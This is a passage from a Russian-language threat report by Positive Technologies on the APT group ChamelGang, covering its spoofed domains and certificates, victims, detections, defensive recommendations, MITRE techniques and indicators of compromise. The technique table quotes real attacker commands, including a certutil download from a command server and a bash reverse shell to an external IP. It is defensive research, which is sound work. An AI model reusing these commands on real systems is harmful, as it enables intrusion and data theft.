9 Получить список процессов в виде таблицы:PID PPID Arch Name User
A Завершить и удалить указанный процесс

4. Исследование сетевой инфраструктуры

При создании сетевой инфраструктуры атакующие старались максимально маскироваться под легитимные сервисы. Злоумышленники регистрировали фишинговые домены, имитирующие легитимные сервисы Microsoft, TrendMicro, McAfee, IBM и Google, в том числе их сервисы поддержки (support), доставки контента (cdn) и обновлений. Вот ряд обнаруженных нами доменов: newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com, mcafee-upgrade.com. Также на своих серверах APT-группа размещала SSL-сертификаты, которые тоже имитировали легитимные: github.com, www.ibm.com, jquery.com, update.microsoft-support.net.

Один из SSL-сертификатов на сервере ChamelGang
Рисунок 35. Один из SSL-сертификатов на сервере ChamelGang

Информация по фишинговым сертификатам:

Издатель

C=US, ST=, L=, O=jQuery, OU=Certificate Authority, CN=jquery.com

Серийный номер

0x368b8e88

Fingerprint

bc9e9df8738709223e53d27ba1872f06

0845d108fbd0860bbbc0df0f4de96f41a93ff0f0

e3cdf05b9afa03b16971b4140afed4100408d6e48d18c9b5d5957e380ba3f33f

JARM

07d14d16d21d21d07c42d41d00041d58c7162162b6a603d3d90a2b76865b53


Издатель

C=US, ST=Armonk, L=New York, O=IBM, OU=IBM, CN=www.ibm.com

Серийный номер

0x4405609c

Fingerprint

b2422d23e2d59a5807216301802f19d8

7ad381d016d138198c4bd5b89a74f0e3c6e2e786

137c4635ede8d21050026ca2c26cae1c954955b44e285d68d17d3c11174983cb

JARM

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1


Издатель

C=US, ST=Armonk, L=New York, O=IBM, OU=IBM, CN=www.ibm.com

Серийный номер

0x316b328c

Fingerprint

d4916d7a18357716753c1e6431d5c160

4df235e385a510639da6aebb325962d0fc2345fc

3da87b067a687d95a5f37f28af20c325227e158a026c442aaa20b91159e6d161

JARM

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1


Издатель

C=US, ST=Armonk, L=New York, O=IBM, OU=IBM, CN=www.ibm.com

Серийный номер

0xfdc788a9c57394e4

Fingerprint

155a73dffb275fbf3c4266720fcc97a2

3fc1b7d5168a01e4aba2fcfc9513f40346e9a52b

cca094b19f51b00ded930cfffe35ce616e89efe7863f3ff1812474ee5e827619

JARM

2ad2ad16d2ad2ad22c42d42d00042d58c7162162b6a603d3d90a2b76865b53


Издатель

C=US, ST=Redmond, L=Washington, O=Microsoft Corporation, OU=Microsoft IT, CN=catalog.update.microsoft.com

Серийный номер

0x3c3ca23b

Fingerprint

98742ed94fa10befdae2103164d3dfd1

bf8fc252ca92408b1a7b418a70f8545eeabe8782

52897cdfeca4452ac76a3f89fb05118c999fb707959a789f37b235275a5fdd9d

JARM

-


Издатель

C=US, ST=Redmond, L=Washington, O=Microsoft Corporation, OU=Microsoft IT, CN=catalog.update.microsoft.com

Серийный номер

0x28fc9f85

Fingerprint

6b493427de4740d212393e6fc54ba643

28089297e1fe2a9f1a32988184e426c2d030426c

1c3edb30e6528c9c6381a8e9d988de1dc299b26aee0d0ff54597a279d269723d

JARM

-


Издатель

C=US, ST=Redmond, L=Washington, O=localhost, OU=localhost, CN=www.localhost.com

Серийный номер

0x6e355c4e

Fingerprint

baf951e0202ba599512484e3a49dabe6

5188a5381ea927ed46bffd59ad78c6ef8cc564df

a49251716b1f5b88281fd688c8350fe35fa7e922e34ab39e3bf1d96db5f6374e

JARM

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

2ad2ad0002ad2ad22c42d42d000000faabb8fd156aa8b4d8a37853e1063261



Издатель

C=US, ST=Redmond, L=Washington, O=localhost, OU=localhost, CN=www.localhost.com

Серийный номер

0x40ff5bd3

Fingerprint

6f9d1ed42dadcca5ebc66ae0418d00d1

3ec7e6bbe95c46752bf7ee7e2edfa4425824bbde

02e767c8752b0ddd3b2203f26b09063cdc3a1d83b3a9d493f433f106074c2120

JARM

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1


Полученные нами данные по JARM говорят о том, что злоумышленники используют фреймворк Cobalt Strike на связанных по сетевой инфраструктуре серверах. В расследуемом инциденте группа также использовала Beacon (из фреймворка Сobalt Strike) в качестве основной полезной нагрузки. Этот факт дает еще больше уверенности в том, что это сетевая инфраструктура одних и тех же злоумышленников.

JARM

Сервис

Источник

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Cobalt Strike

https://github.com/cedowens/C2-JARM

07d14d16d21d21d07c42d41d00041d58c7162162b6a603d3d90a2b76865b53

Cobalt Strike

https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/

2ad2ad16d2ad2ad22c42d42d00042d58c7162162b6a603d3d90a2b76865b53

Cobalt Strike

https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468

2ad2ad0002ad2ad22c42d42d000000faabb8fd156aa8b4d8a37853e1063261

python3 http.server

https://github.com/cedowens/C2-JARM


Серверы атакующих преимущественно располагались в нескольких подсетях:

  • 154.210.12.0/24
  • 194.113.172.0/24
  • 45.131.25.0/24
  • 45.158.35.0/24
  • 45.195.1.0/24
  • 45.91.24.0/24

По WHOIS-данным и SOA-записям некоторых доменов удалось получить email-адреса, с помощью которых они были зарегистрированы или использовались как контактные. Стоит отдельно отметить, что для этой цели злоумышленники использовали почтовый сервис ProtonMail со встроенным шифрованием.

Домен

Email

newtrendmicro[.]com

f4ckha123@protonmail.com

microsoft-support[.]net

tongscan911@protonmail.com

mcafee-upgrade[.]com

trend1to1@protonmail.com

microsofed[.]com

cdn-chrome[.]com

trend1to2@protonmail.com


Для усложнения анализа сетевой инфраструктуры злоумышленники скрывали IP-адреса своих доменов за CloudFlare.

5. Жертвы

Помимо двух организаций в России — топливно-энергетической и авиационно-промышленной компаний — в ходе дальнейшего исследования группировки мы выявили еще 13 скомпрометированных организаций в 10 странах мира: США, Японии, Турции, на Тайване, во Вьетнаме, в Индии, Афганистане, Литве и Непале. В частности, в четырех последних были обнаружены скомпрометированные правительственные серверы. Практически на всех скомпрометированных узлах располагается Microsoft Exchange Server. По всей вероятности, узлы были скомпрометированы с помощью таких уязвимостей, как ProxyLogon и (или) ProxyShell. Все пострадавшие были уведомлены по линии национальных CERT.

Выводы

Атаки типа trusted relationship, на сегодняшний день, являются достаточно редкими из-за сложности исполнения. Однако, используя этот метод в первом случае, группа ChamelGang смогла достичь своей цели и украсть данные из скомпрометированной сети. При этом группировка старалась максимально маскировать свою активность под легитимную, используя особенности ОС и правдоподобные фишинговые домены. Кроме того, злоумышленники оставили для себя лазейку — пассивный бэкдор DoorMe в виде модуля для сервера IIS. В ходе дальнейшего исследования активности группы ChamelGang мы обнаружили скомпрометированные правительственные серверы в четырех странах.

Также злоумышленники начали активно использовать уязвимость ProxyShell. Рост числа случаев ее эксплуатации подтверждается недавним исследованием компании FireEye. Если у крупных компаний не будет выстроенного процесса и своевременной реакции на появление новых угроз, они будут и дальше становиться жертвами различных APT-групп, быстро принимающих на вооружение новые методы атак, в том числе и те, которые описаны в этом отчете.

Авторы: Александр Григорян, Даниил Колосков, Денис Кувшинов, Станислав Раковский, Positive Technologies

Авторы благодарят за помощь в подготовке статьи команды incident response и threat intelligence PT Expert Security Center.

Вердикты наших продуктов

PT Sandbox

  • tool_linux_ZZ_LinuxPrivilegeElevator__Trojan

  • tool_linux_ZZ_tsh__Backdoor__Opensource__Tool

  • tool_mem_ZZ_CobaltStrike__Backdoor__Strings

  • tool_mem_ZZ_CobaltStrike__Backdoor__x64Beacon

  • tool_mem_ZZ_FRP__RiskTool

  • tool_multi_ZZ_FRP__RiskTool

  • tool_win_ZZ_CobaltStrike__Dropper__x64SideloadingLibrary

  • tool_win_ZZ_proxyT__HackTool

  • tool_win64_ZZ_Doorme__Backdoor__IIS__Native__Module

  • Backdoor.Win32.CobaltStrike.a

  • Trojan.Win32.Generic.a

PT Network Attack Discovery

  • REMOTE [PTsecurity] Possible Cobalt Strike
    sid: 10006705;

  • REMOTE [PTsecurity] Cobalt Strike
    sid: 10006706;

  • REMOTE [PTsecurity] Possible Cobalt Strike
    sid: 10006707;

PT MaxPatrol SIEM

  • Application_Whitelisting_Bypass_through_rundll32

  • Detect_Possible_IIS_Native_Module_Installation

Рекомендации

  • Регулярно устанавливать обновления безопасности (в частности, для таких уязвимостей, как ProxyLogon и ProxyShell).

  • Использовать только актуальные версии ОС и ПО.

  • Проверять конфигурационный файл %windir%\system32\inetsrv\config\ApplicationHost.config на наличиевредоносных (или подозрительных) модулей.

  • Отслеживать выполнение в системе команд родительского процесса w3wp.exe (сервис OWA) и запуск консольной утилиты AppCmd.exe.

  • Использовать индикаторы компрометации (см. раздел IOCs) для поиска зараженных серверов.


MITRE TTPs

ID

ИМЯ

ОПИСАНИЕ

Resource Development

T1583.001

Domains

Злоумышленники приобретали домены, которые имитировали легитимные. Примеры: newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com, mcafee-upgrade.com, centralgoogle.com

T1587.001

Malware

Злоумышленники разработали собственное ВПО для совершения атаки. Примеры: бэкдор DoorMe, ProxyTest

T1588.002

Tool

Злоумышленники использовали общедоступный инструмент Cobalt Strike, для работы с которым требуется платная лицензия. Примеры: Watermark – 1936770133

T1588.004

Digital Certificates

Злоумышленники размещали собственные SSL-сертификаты, которые имитировали легитимные. Примеры: github.com, www.ibm.com, jquery.com, update.microsoft-support.net

Initial Access

T1199

Trusted Relationship

Группа проникла в целевую организацию через смежную инфраструктуру с дочерней организацией

T1190

Exploit Public-Facing Application

Злоумышленники использовали общедоступный эксплойт для получения доступа к инфраструктуре, смежной с инфраструктурой атакуемой организации. Примеры: CVE-2017-12149, CVE-2021-34473, CVE-2021-34523, CVE-2021-31207

Execution

T1047

Windows Management Instrumentation

Злоумышленники использовали утилиту wmic для выполнения команд на узлах. Примеры: C:\Windows\system32\cmd.exe /C wmic /node:"host" process call create "c:\windows\system32\cmd.exe /c certutil -urlcache -f -split http://42.99.116[.]14/ c:\windows\temp\MpKsl15169faf > c:\windows\temp\_1622775917806 2>&1"

T1059.003

Windows Command Shell

Злоумышленники использовали командный интерпретатор «cmd.exe /c» для выполнения команд на узлах. Примеры: cmd.exe /C copy hosts.bak c:\windows\system32\drivers\etc\hosts

Persistence

T1505.003

Web Shell

Злоумышленники использовали различные веб-шеллы, а также нативный модуль IIS-сервера для управления зараженными узлами. Примеры: c:\windows\system32\inetsrv\appcmd.exe install module /name:FastCgiModule_en64bit /image:%windir%\System32\inetsrv\iisfcgix64.dll

T1574.001

DLL Search Order Hijacking

Злоумышленники использовали соответствующую технику для исполнения полезной нагрузки. Примеры: oci.dll, wlbsctrl.dll

Privilege Escalation

T1068

Exploitation for Privilege Escalation

Злоумышленники использовали эксплоиты для повышения привилегий на доступных узлах. Примеры: EternalBlue

Defense Evasion

T1036.003

Masquerading: Rename System Utilities

Злоумышленники использовали вредоносные программы, которые копируют имена системных утилит, чтобы избежать обнаружения. Примеры: avp.exe, oci.dll, wlbsctrl.dll, modrpflt.dll, protsdown.dll

T1055

Process Injection

Злоумышленники применяли вредоносные программы, которые используют внедрение вредоносной нагрузки в системные процессы

T1070

Indicator Removal on Host

Злоумышленники удаляли образцы ВПО, чтобы избежать обнаружения

T1078.003

Local Accounts

Злоумышленники использовали скомпрометированные локальные аккаунты администраторов для запуска ВПО с повышенными привилегиями для продвижения по скомпрометированной сети

T1140

Deobfuscate/Decode Files or Information

Основная полезная нагрузка ВПО зашифрована алгоритмом AES

T1218.011

Signed Binary Proxy Execution: Rundll32

Злоумышленники использовали Rundll32.exe для выполнения полезной нагрузки, а также установщик, который загружал DLL с помощью rundll32. Примеры: C:\\Windows\\system32\\rundll32.exe\" C:\\Windows\\system32\\shell32.dll,OpenAs_RunDLL \\\\host\\c$\\windows\\web\\20210524115241_pffqscox.3b1; rundll32.exe ssd.dll,Regist c:\windows\web\ssd.en adminxadmin

T1564.001

Hide Artifacts: Hidden Files and Directories

Злоумышленники создавали скрытые файлы в Unix-подобных системах

T1070.006

Indicator Removal on Host: Timestomp

Злоумышленники изменяли время создания ВПО и утилит в файловой системе, указывая более ранний период

Discovery

T1012

Query Registry

Злоумышленники использовали утилиту reg для редактирования реестра Windows. Примеры: reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings

T1016.001

System Network Configuration Discovery: Internet Connection Discovery

Злоумышленники использовали утилиту curl для проверки интернет-соединения и связи с управляющими серверами. Примеры: curl -I -v https://*.*.*.*

T1018

Remote System Discovery

Злоумышленники использовали утилиты nslookup, ping для проведения сетевой разведки. Примеры: nslookup -type=ns victim.local *.*.*.*, ping -a -n 1 *.*.*.*

T1049

System Network Connections Discovery

Злоумышленники использовали утилиту netstat для проверки сетевых соединений. Примеры: c:\\windows\\system32\\cmd.exe /c netstat -anop tcp \u003e c:\\windows\\temp\\_1622169989165

T1057

Process Discovery

Злоумышленники использовали утилиту tasklist для получения информации о процессах

T1069.001

Local Groups

Злоумышленники использовали утилиту net group для обнаружения пользователей

T1082

System Information Discovery

Злоумышленники использовали утилиты ver, systeminfo для проведения разведки на узлах

T1087.001

Local Account

Злоумышленники использовали утилиты net user, quser для обнаружения пользователей

Lateral Movement

T1210

Exploitation of Remote Services

Злоумышленники эксплуатировали уязвимость MS17-010 (EternalBlue) для бокового перемещения на другие системы в скомпрометированной сети

Collection

T1560

Archive Collected Data

Злоумышленники запускали консольную команду для создания архива файлов интересующих типов из пользовательских директорий на зараженных узлах. Примеры: 7z.exe a -padminadmin -mhe=on -mx9 his.7z hist*.

Command and Control (C2)

T1071

Application Layer Protocol

Злоумышленники использовали HTTPS Cobalt Strike Beacon, а также версию с именованными каналами

T1090

Proxy

Злоумышленники использовали прокси-серверы внутри сети. Примеры: FRP, bash -i >& /dev/tcp/115.144.122.8/5555 0>&1.

T1105

Ingress Tool Transfer

Злоумышленники загружали дополнительные утилиты с управляющего сервера посредством утилиты certutil. Примеры: certutil -urlcache -f -split http://42.99.116[.]14/.

T1572

Protocol Tunneling

Злоумышленники использовали инструменты туннелирования сетевого трафика. Примеры: Neo-reGeorg

Exfiltration

T1041

Exfiltration Over C2 Channel

Злоумышленники выгружали украденные файлы на управляющие серверы


IOCs

Файловые индикаторы


ФАЙЛ

SHA-256

MD5

SHA-1

-

6793e9299cab4cd07d4ddf35e03b32a05b0e965b3691d258ec2568402cf8d28f

206e15f750f7fee32b110f5c79cf068b

2e0d998775653135966ea7e3bdf1b7e90b5c6b0b

-

e8ee5b0d6b683407aa9cb091bf92273af0e287d4e7daa94ca93cd230e94df37a

4e49adfed966f5d54cd1b89e1acb18ef

683a38d352b4f5689b5395c955ba5f2cc77a2209

-

d4e3747658e1a9e6587da411dc944597af95dd49b07126b8b090c7677ee30674

5d09c85b349d457471b18b598bb63e5d

ab6a56ba3eb8f33e7373ffa3404c79f502873f98

.vim

16b54dc11dbe2948467a10d68728811b03c12b12f7b29e53d0985fa07e29f9b7

cab9ecc235a0fe544e01dd6b30463f11

f65731c9a218d8a40c1804eaf22fdacd1dc83622

avp.exe

ba867705eb986d1975abcf2f2b90ee2c7fdd09255076823cdd85c0feeea15a1b

371a13ca89bf3b01346a8f7631a9be75

01536e40e3c5c1d5d742dd5f58b9b468ad788aa3

curlt.exe

f1afce3be297fa6185903274b3b44cd263b4c1ea89e8282334bc5771c53af1c5

8550e586e7ae73863de0c5a6c11c5dc1

ce22e857eb05aae7fe0df52a9e0fb89fe9ef869a

dlang.dat

8e0e5ec7ed16e5fb1e8980a3ec6e3c5982fd8fa4cfc31428a6638950bbe5607a

1a7f1012ea071e1b9955e502fab3023c

e4a097b79a5a1f2a74af7599a6fb305c78d98f39

dlang.dat

b9a231496682cd6bed978fb1b2b15986211e5c38a13cbb246de3dcf1d8db41f4

6a3c69384237078b6ab03ab7c38970ca

0bf324fa87bab837e1c91d8022ad82dc33291a8e

dlang.dat

d831a87c6abd1bbb5a9ac9e1aac06a3d9b81b6e474bdc0c78e1908e26a6166b3

90cc1835823d5f86cd1947b03e6111a9

49e6775288bea7fdaff4b16bfd0f1608b0eb149e

iis64.dll, iisfcgix64.dll, modrpflt.dll, httpsrfm64.dll

538d423e3a8a884aac2d80b248d194388d3520cc508990da14c0a1384e7eddbd

23f06ae1f9c78d2dc8f8d8b3cb3c5978

e21802dbd68416a324b84f62b56bb8af0bfa7035

modrpflt.dll

73e9f7b9d22159f485b1c733981261ddc26fe7fcd104babfcc60369b354ccbe7

905aa9b9055592b585edb89eda236984

66ea9d5ef286c21dd96289c3943dcb376c3fc271

modrpflt.dll

27b64e64b6787ad0682eac8aa42f9cd423518a92c4f6ce98596339363eeeebcc

41cfb3db9837377e7f3a4a18d5b444e1

c7b1b348b8671b9440219843fc868f49beb7edef

MpCmdRun.log.1

be147fe9110e32b4c4558900f63888756941bf0d0519dc25c075509457748c25

8dee79145aac1e5ffcd801ef07390fde

8b2e5dcb9df689190f4e4662ad34badf5ad68a30

nfsd

21d41a206cd12784473bec587a0b014b7cfd29c8da958531c773547402a16908

ea7d091e2d565f452b4735bc9ee966e6

d13e1462977dd8437797029bedcf6154c91abc43

o.r

9dd08351c1094e29f279e66731bea55f546e534fdff8688b16b44b86f67df6cb

4cb26fd5ca9bc238803e0971914039e2

26142e92c5a5a80d7a92d4372e46fc5bd8a1f8b9

oci.dll

60758fd51c29c09b989be480107f36e7c5552e99a283588ad31c0f87a9353f69

cf0cc54e91b59ccafdc36a8f4b04f9c6

e2050319a08e9bd51eedc45e5660ac289b2052d9

oci.dll

8f349ea483b4986b90384bcdde30666669303ede91f9261f40213bac9e44f286

cd4750c84f1a89f0db6c3d68a6530ad6

45e86bcd4cd48a55b8cbecd9b07dd1d61ea1d777

oci.dll

9f0fc02c4cc5d77f28f3828a361afc93459c888acb1a186e874a60ead3c68ba6

6164f85c6273ea1bf7e2f051ceaacf31

8d9445f4d0057118a48f3c2503b4117194a4a255

oci.dll

3b3d097873899e1a1d99c2ba5aedfc68b67f30acfeefc74e30eb02647729602f

57eb643949a9a0fcd20dfe59af02c8d2

f8773ec1ec5bb3a241364ea5ac04b2b69fcdf2c5

ocilib.dll

e18546ad747fa063285f24264f9dc3d452c9eb94dc7f1e87b5a8b0677bbf78d7

9c519480c8dd187222e32711a59c4d3c

3dccb69365d07ec77cdf510186034d66c140eb35

old.awk

21d41a206cd12784473bec587a0b014b7cfd29c8da958531c773547402a16908

ea7d091e2d565f452b4735bc9ee966e6

d13e1462977dd8437797029bedcf6154c91abc43

p.exe, proxyT.exe

f1afce3be297fa6185903274b3b44cd263b4c1ea89e8282334bc5771c53af1c5

8550e586e7ae73863de0c5a6c11c5dc1

ce22e857eb05aae7fe0df52a9e0fb89fe9ef869a

protsdown.dll

be34984240e19e64eebcf7f31be9d1dee3defdefb7c9c5de77693527cfb89333

02da966d81c83867dbba69fba2954366

d50d21a249dbcb76c7cd0fdd18abaa9562f4b1d2

RunCheckConfig.class

c6b0ea8e61dffe61737911cceafdf281c9e656e87365e9119184e4f42bd42c11

d3888adb6b71cb60e18c37ea16dbd502

fc40752cbafebd2a381f8e3b6a7d0396a7c49c17

siiHost.exe

5c61d82b42c91c387d5ea6e245056b7a8aa213fcafe08c3a72e1866554931290

c18d3128042528e4a1ea9e34a9300bad

18ac5d1bc6beb80e5c00cdc414dc2106661c1763

siihost.exe

eb4a359c73c31e262e17a6bc2ccefa20429c3f5e2f6e9c521b9ad0ff96fd6ce0

8b8dc2f6fcb503092d57ec1857ddbddc

2d5ebf4d8b7aff9f3c074aa0909cc3625ebade7a

ssconf

e3af2ef75033f3ececfd102ca116476397bac6244a8baafb1adebbe8d79c292e

e4f785396fc10f0c200e0743cf75666c

be7f2ab2e4893b242b612b3b3ee3aaf1d3aa2eda

sshost.exe

ba867705eb986d1975abcf2f2b90ee2c7fdd09255076823cdd85c0feeea15a1b

371a13ca89bf3b01346a8f7631a9be75

01536e40e3c5c1d5d742dd5f58b9b468ad788aa3

tcs.jsp

dbf16553507202fbd1aed5057df92d11b88563585ae9bcc517f584826fe4819d

d19e9d9c648faeb92fd69b5bbf2e0c6e

a130b48ecc23009b8ea5146ef43f8fa2e5e5a479

tunnel.jsp

8491a786a3a00549f35302160c70e6b8cca6e9792be82e0092e7444850ebdfe9

6dace1bf8d7d3b8b1d21a5a32217406d

8da1597cb34547dc23387e6b6f49fda2179317c5

wl

23403a06e470420b8f02d3c352f08446146920412d02444771b42c561d69ba83

81ab2303c56b563c106ec0f454b5da83

11baf308948fcd058a7b1b9a2dfb6a18f9dba635

wl.dll

132688d482129c3935577e73de15f4cc5f382bd511c249d19adbb78b9f1d16c3

42f1215a4d6261c2d5ee28eecb60bc1c

0f452c0ce26b848a6340665416cc25690828969b

wlbsctrl.dll

373974f2e7933ec8b6eb7afbc98d2d4e0cfc348321864aaf1bbaf66d4d9ef83b

5fb9ea9b063548193bbebc3f8f2b193c

c2d30cf0a337b945122673e3d75c94ffac14fefe

wlbsctrl.dll

4b9701472ab1aabe7ea5a15146d21a9ebff60fe8077efb013d54969ff2b67b39

b701f60803dc1e240cae8e48cb9582ef

cec5bad309286b08d306758b02538ce0e4021a3d


Сетевые индикаторы

softupdate-online.top
internet.softupdate-online.top
update.softupdate-online.top
download.softupdate-online.top
online.softupdate-online.top
downloads.softupdate-online.top
mcafee-service.us.com
cn.mcafee-service.us.com
en.mcafee-service.us.com
www.mcafee-service.us.com
mcafee-upgrade.com
tw.mcafee-upgrade.com
www.mcafee-upgrade.com
ssl.mcafee-upgrade.com
test.mcafee-upgrade.com
us.mcafee-upgrade.com
microsoft-support.net
www.microsoft-support.net
os.microsoft-support.net
docs.microsoft-support.net
tstartel.org
app.tstartel.org
mail.tstartel.org
www.tstartel.org
webmail.tstartel.org
newtrendmicro.com
auth.newtrendmicro.com
upgrade.newtrendmicro.com
contents.newtrendmicro.com
content.newtrendmicro.com
www.newtrendmicro.com
market.newtrendmicro.com
centralgoogle.com
app.centralgoogle.com
derbox.centralgoogle.com
content.centralgoogle.com
collector.centralgoogle.com
ibmlotus.net
appupdate.ibmlotus.net
www.ibmlotus.net
mail.ibmlotus.net
helpdisk.ibmlotus.net
upgrade.ibmlotus.net
search.ibmlotus.net
microsofed.com
api.microsofed.com
cdn-chrome.com
login.cdn-chrome.com
funding-exchange.org
snn1.mhysl.org
snn2.mhysl.org
snn3.mhysl.org
static.mhysl.org
kaspernsky.com
update.kaspernsky.com
103.151.228.119
103.80.134.159
115.144.122.8
172.104.109.12
42.99.116.14
45.91.24.73
91.204.227.130